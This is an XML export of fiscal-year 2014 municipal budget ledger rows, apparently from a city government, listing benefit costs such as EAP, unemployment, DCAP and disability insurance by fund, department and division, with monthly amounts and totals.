<row _id="10377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2171.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2171.0</total></row>
<row _id="10378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2810.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2810.0</total></row>
<row _id="10379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>49</december><january>78.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3887.0</total></row>
<row _id="10380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3033.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3112.0</total></row>
<row _id="10381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1017.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1017.0</total></row>
<row _id="10382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4571.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>42</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4613.0</total></row>
<row _id="10383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6967.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>66</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7033.0</total></row>
<row _id="10384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4404.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>50</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4454.0</total></row>
<row _id="10385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8096.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8096.0</total></row>
<row _id="10386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>564.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>564.0</total></row>
<row _id="10387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12080.0</july><august>0</august><september>0</september><october>0</october><november>33.0</november><december>196</december><january>121.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12430.0</total></row>
<row _id="10388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7815.0</july><august>0</august><september>0</september><october>0</october><november>1657.0</november><december>308</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9780.0</total></row>
<row _id="10389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6689.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>311</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="10390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5688.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>75.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5763.0</total></row>
<row _id="10391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="10392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12394.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>173</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12567.0</total></row>
<row _id="10393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1091.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>79.17</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1170.17</total></row>
<row _id="10394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2448.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2448.0</total></row>
<row _id="10395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>726.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="10396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2015.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2015.0</total></row>
<row _id="10397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4769.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>47</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4816.0</total></row>
<row _id="10398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>834.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>834.0</total></row>
<row _id="10399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4720.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>463</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5183.0</total></row>
<row _id="10400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2179.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2179.0</total></row>
<row _id="10401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3007.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3007.0</total></row>
<row _id="10402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780.0</total></row>
<row _id="10403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4722.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4722.0</total></row>
<row _id="10404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11772.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>156</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11928.0</total></row>
<row _id="10405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3214.0</total></row>
<row _id="10406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18218.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>246</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18464.0</total></row>
<row _id="10407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="10408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5444.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>71</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5515.0</total></row>
<row _id="10409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19290.0</july><august>0</august><september>0</september><october>0</october><november>53.0</november><december>309</december><january>191.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19843.0</total></row>
<row _id="10410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11712.0</july><august>0</august><september>0</september><october>0</october><november>612.0</november><december>0</december><january>-25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12299.0</total></row>
<row _id="10411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1286</december><january>251.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68452.0</total></row>
<row _id="10412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1352.0</july><august>0</august><september>0</september><october>0</october><november>470.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1822.0</total></row>
<row _id="10413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>924.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>924.0</total></row>
<row _id="10414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2295.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2295.0</total></row>
<row _id="10415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3228.0</total></row>
<row _id="10416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9988.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9988.0</total></row>
<row _id="10417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29957.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>409</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30366.0</total></row>
<row _id="10418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>237.5</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12369.5</total></row>
<row _id="10419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>593</december><january>404.71</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41478.71</total></row>
<row _id="10420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>518.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>41.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>559.67</total></row>
<row _id="10421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="10422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="10423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4933.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>55</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4988.0</total></row>
<row _id="10424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1453.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1453.0</total></row>
